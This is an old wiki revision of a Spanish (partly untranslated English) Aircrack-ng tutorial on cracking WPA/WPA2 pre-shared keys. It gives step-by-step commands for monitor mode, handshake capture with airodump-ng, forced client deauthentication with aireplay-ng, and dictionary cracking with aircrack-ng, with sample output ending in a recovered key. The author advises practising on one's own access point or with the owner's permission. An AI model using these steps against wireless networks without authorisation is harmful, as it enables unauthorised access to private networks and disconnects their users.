User Tools

Site Tools


spanish_cracking_wpa

This is an old revision of the document!


Tutorial: Como crackear WPA/WPA2

Version: 1.05 May 16, 2007
By: darkAudax
Traducción: En proceso

Introducción

Este manual trata sobre como obtener la clave WPA/WPA2 de una red en la que se usa un sistema de clave compartida (pre-shared keys). Es recomendable leer y aprender como funciona la encriptación WPA/WPA2. En el Wiki puedes encontrar una sección sobre WPA/WPA2.

WPA/WPA2 tiene soporte para otros tipos de autenticación, además de clave compartida. Pero con aircrack-ng SOLO se puede intentar obtener claves pre-compartidas (pre-shared keys). Por lo tanto asegúrate de que airodump-ng te dice que la autenticación de la red es de tipo PSK, y en otro caso, ni intentes averiguarla.

Hay otra diferencia importante entre crackear WPA/WPA2 y WEP. En las claves WEP, se pueden usar métodos “estáticos” de inyección para acelerar el proceso, pero para WPA/WPA2 solo se pueden utilizar técnicas de fuerza bruta. Esto se debe a que la clave no es estática, por lo que recogiendo IVs como para la encriptación WEP, no conseguiremos obtener más rápidamente la clave. Lo único que se necesita para poder iniciar un ataque es el handshake entre el cliente y el AP. El handshake se genera en el momento que el cliente se conecta a la red. Aunque no es exactamente cierto, para los propósitos de este tutorial, diremos que si es verdad: La clave pre-compartida puede tener un tamaño de 8 a 63 caracteres, por lo que parece imposible crackear la clave.

La única forma de obtener la clave es utilizando un diccionario. De tal forma, que si quieres tener una red wireless segura en tu casa, debes usar una clave WPA/WPA2 de 63 caracteres, incluyendo en la misma símbolos especiales.

El hecho de tener que usar fuerza bruta es un inconveniente muy grande. Porque se hace un uso intensivo del procesador del PC, y solo puede probar de 50 a 300 claves por segundo, dependiendo de la CPU. El proceso puede llevar horas o días si se utiliza un diccionario grande. Si estás pensando en generar tu propio diccionario para incluir en el mismo todas las combinaciones posibles, echale un vistazo a este calculador de tiempo: brute force time calculator. Quedarás sorprendido de la gran cantidad de tiempo que es necesaria.

No hay ninguna diferencia entre el crackeo de redes WPA o WPA2. El método de autenticación es básicamente el mismo. Por lo que las técnicas a usar son idénticas.

Es recomendable que cada uno experimente con su propio punto de acceso wireless, para familiarizarse con estas ideas y técnicas. Si no tienes un punto de acceso propio, recuerda que tienes que pedir permiso al propietario del router con el que quieras practicar este ateque.

Antes de nada hay que darles las gracias a los Desarrolladores de la suite Aircrack-ng por crear estas herramientas tan fantásticas.

Por favor, enviame cualquier sugerencia, positiva o negativa. Bien sean problemas o buenas ideas serán bienvenidas.

Puntos de partida

Suponemos que:

  • Estás usando drivers parcheados para inyección. Usa el injection test Para comprobar que tu tarjeta puede inyectar.
  • Estás físicamente suficientemente cerca para enviar y recibir paquetes del punto de acceso. Recuerda que recibir paquetes del punto de acceso no significa que los paquetes que transmitas sean recibidos por el AP. La fuerza de la señal de las tarjetas wireless generalmente es menor que la fuerza de la señal de los AP. Por lo tanto, es necesario estar cerca del AP, para que los paquetes que transmitimos sean recibidos por el AP. Deberías confirmar que te puedes comunicar con el AP siguiendo estas instrucciones.
  • Usamos la versión 0.9 de aircrack-ng. Si usas otra versión algunos comandos puede que se tengan que escribir de forma diferente.

Asegurate de que cumples todas las condiciones, sino no funcionará. En los siguientes ejemplos, tendrás que cambiar “ath0” por el nombre de la interface de tu tarjeta wireless.

En los ejemplos, la opción “guión doble bssid” se muestra como “- -bssid”. Acuérdate de borrar el espacio entre los dos guiones cuando lo utilices en la vida real. Esto tambien se aplica a “- -ivs”, “- -arpreplay”, “- -deauth”, “- -channel”, “- -arp” and “- -fakeauth”.

Equipo usado

Para seguir este manual en tu casa, debes tener dos tarjetas wireless.

En este tutorial, a continuación puedes ver las que yo he usado:

  • Dirección MAC del PC ejecutando la suite aircrack-ng: 00:0F:B5:88:AC:82
  • Dirección MAC del cliente wireless usando WPA2: 00:0F:B5:FD:FB:C2
  • BSSID (dirección MAC del punto de acceso): 00:14:6C:7E:40:80
  • ESSID (nombre de la red Wireless): teddy
  • Canal del AP: 9
  • Interface Wireless: ath0

Tienes que obtener la información equivalente de la red sobre la que quieres trabajar. Y cambiar estos valores en los siguientes ejemplos.

Solución

Contenidos

El objetivo es capturar el handshake WPA/WPA2 y usarlo con aircrack-ng para obtener la clave pre-compartida.

Esto se puede hacer de forma activa o pasiva. “Activa” significa que podemos acelerar el proceso deautenticando a un cliente wireless. “Pasiva” significa que podemos esperar a que un cliente wireless se autentifique en la red WPA/WPA2. La ventaja de la forma pasiva es que no necesitamos inyectar y por lo tanto podremos utilizarla desde Windows.

Aquí estań los pasos que vamos a seguir:

  1. Colocar la interface wireless en modo monitor y especificar el canal del AP
  2. Iniciar airodump-ng en el canal del AP con filtro de bssid para capturar el handshake
  3. Usar aireplay-ng para deautentificar a un cliente conectado
  4. Ejecutar aircrack-ng para obtener la clave pre-compartida usando ese handshake

Paso 1 - Colocar la interface wireless en modo monitor y especificar el canal del AP

El propósito de este paso es colocar la tarjeta en el modo denominado modo monitor. En este modo la tarjeta wireless puede escuchar y capturar cualquier paquete en el aire. En cambio, en el modo normal la tarjeta solo “escuchará” los paquetes que van destinados a la misma. Escuchando todos los paquetes, podremos más adelante capturar los 4 paquetes que forman el handshake WPA/WPA2. Y opcionalmente tambien podremos deautenticar a un cliente wireless.

Primero para la interface ath0 escribiendo:

 airmon-ng stop ath0   

El sistema nos responderá:

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Escribe “iwconfig” para comprobar que no hay mas interfaces athX. Deberás ver algo como esto:

 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.

Si queda alguna interface athX, para cada una de ellas. Cuando termines, ejecuta “iwconfig” para verificar que ya no queda ninguna.

Ahora, escribe el siguiente comando para poner la tarjeta wireless en modo monitor en el canal 9:

 airmon-ng start wifi0 9

Nota: En este comando usamos “wifi0” en lugar de nuestra interface “ath0”. Esto se debe a que estamos usando los drivers madwifi-ng y no madwifi-old.

El sistema nos responderá:

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Puedes observar que “ath0” aparece colocada en modo monitor.

Para confirmar que la interface está bien configurada, escribimos “iwconfig”.

El sistema nos responderá:

 lo        no wireless extensions.
 
 wifi0     no wireless extensions.
 
 eth0      no wireless extensions.
 
 ath0      IEEE 802.11g  ESSID:""  Nickname:""
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Podemos ver que ath0 está en modo monitor, en la frecuencia 2.452GHz que corresponde al canal 9 y en “Access Point” vemos la dirección MAC de nuestra tarjeta wireless. Es importante comprobar toda esta información antes de continuar, ya que sino no funcionará.

Para ver la correspondencia entre frecuencia y canal, mira: http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels y selecciona “Wifi Channel Selection and Channel Overlap” Así obtendrás la frecuencia para cada canal.

Step 2 - Start airodump-ng to collect authentication handshake

The purpose of this step is run airodump-ng to capture the 4-way authentication handshake for the AP we are interested in.

Enter:

 airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0

Where:

  • -c 9 is the channel for the wireless network
  • - -bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
  • -w psk is the file name prefix for the file which will contain the IVs.
  • ath0 is the interface name.

Important: Do NOT use the “- -ivs” option. You must capture the full packets.

Here what it looks like if a wireless client is connected to the network:

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                               
  00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116  

Here it is with no connected wireless clients:

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   39 100       51        0    0   9  54  WPA2 CCMP   PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             

Step 3 - Use aireplay-ng to deauthenticate the wireless client

This step is optional. You only perform this step if you opted to actively speed up the process. The other constraint is that there must be a wireless client currently associated with the AP. If there is no wireless client currently associated with the AP, then move onto the next step and be patient. Needless to say, if a wireless client shows up later, you can backtrack and perform this step.

What this step does is send a message to the wireless client saying that that it is no longer associated with the AP. The wireless client will then hopefully reauthenticate with the AP. The reauthentication is what generates the 4-way authentication handshake we are interested in collecting. This what we use to break the WPA/WPA2 pre-shared key.

Based on the output of airodump-ng in the previous step, you determine a client which is currently connected. You need the MAC address for the following. Open another console session and enter:

 aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0

Where:

  • -0 means deauthentication
  • 1 is the number of deauths to send (you can send muliple if you wish)
  • -a 00:14:6C:7E:40:80 is the MAC address of the access point
  • -c 00:0F:B5:FD:FB:C2 is the MAC address of the client you are deauthing
  • ath0 is the interface name

Here is what the output looks like:

 11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]

With luck this causes the client to reauthenticate and yield the 4-way handshake.

Troubleshooting Tips

  • The deauthentication packets are sent directly from your PC to the clients. So you must be physically close enough to the clients for your wireless card transmissions to reach them.

Step 4 - Run aircrack-ng to crack the pre-shared key

The purpose of this step is to actually crack the WPA/WPA2 pre-shared key. To do this, you need a dictionary of words as input. Basically, aircrack-ng takes each word and tests to see if this is in fact the pre-shared key.

There is a small dictionary that comes with aircrack-ng - “password.lst”. The Wiki FAQ has an extensive list of dictionary sources. You can use John the Ripper (JTR) to generate your own list and pipe them into aircrack-ng. Using JTR in conjunction with aircrack-ng is beyond the scope of this tutorial.

Open another console session and enter:

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

Where:

  • -w password.lst is the name of the dictionary file. Remember to specify the full path if the file is not located in the same directory.
  • *.cap is name of group of files containing the captured packets. Notice in this case that we used the wildcard * to include multiple files.

Here is typical output when there are no handshakes found:

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.

 No valid WPA handshakes found.

When this happens you either have to redo step 3 (deauthenticating the wireless client) or wait longer if you are using the passive approach. When using the passive approach, you have to wait until a wireless client authenticates to the AP.

Here is typical output when handshakes are found:

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.
 
 #  BSSID              ESSID                     Encryption

 1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)
 
 Choosing first network as target.

Now at this point, aircrack-ng will start attempting to crack the pre-shared key. Depending on the speed of your CPU and the size of the dictionary, this could take a long time, even days.

Here is what successfully cracking the pre-shared key looks like:

                               Aircrack-ng 0.8
 
 
                 [00:00:00] 2 keys tested (37.20 k/s)
 
 
                         KEY FOUND! [ 12345678 ]
 
 
    Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E 
                     B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD 
 
    Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 
                     CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 
                     FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 
                     2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 
 
    EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 
spanish_cracking_wpa.1185043869.txt.gz · Last modified: 2007/07/21 20:51 by spanish